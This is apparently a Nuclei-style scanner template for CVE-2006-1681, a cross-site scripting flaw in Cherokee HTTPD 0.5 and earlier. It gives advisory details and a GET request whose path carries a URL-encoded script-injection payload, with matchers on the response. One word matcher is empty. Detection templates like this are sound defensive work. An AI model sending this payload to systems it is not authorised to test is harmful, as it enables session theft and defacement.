id: CVE-2006-1681 info: name: Cherokee HTTPD <=0.5 - Cross-Site Scripting author: geeknik severity: medium description: Cherokee HTTPD 0.5 and earlier contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to a patched version of Cherokee HTTPD or apply the necessary security patches to mitigate the XSS vulnerability. reference: - http://www.vupen.com/english/advisories/2006/1292 - https://nvd.nist.gov/vuln/detail/CVE-2006-1681 - https://exchange.xforce.ibmcloud.com/vulnerabilities/25698 - https://security.gentoo.org/glsa/202012-09 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2006-1681 cwe-id: NVD-CWE-Other epss-score: 0.01015 epss-percentile: 0.82067 cpe: cpe:2.3:a:cherokee:cherokee_httpd:0.1:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cherokee product: cherokee_httpd tags: cve,cve2006,cherokee,httpd,xss http: - method: GET path: - "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402206000675250836d41143110814a2779c38b107e4a265562dd0b63d3cbbd788faf02207e8b57e4d85550b1daf5c2e4a1d4640d9347d24ba23c9e16b1bb2a75c722089e:922c64590222798bb761d5b6d8e72950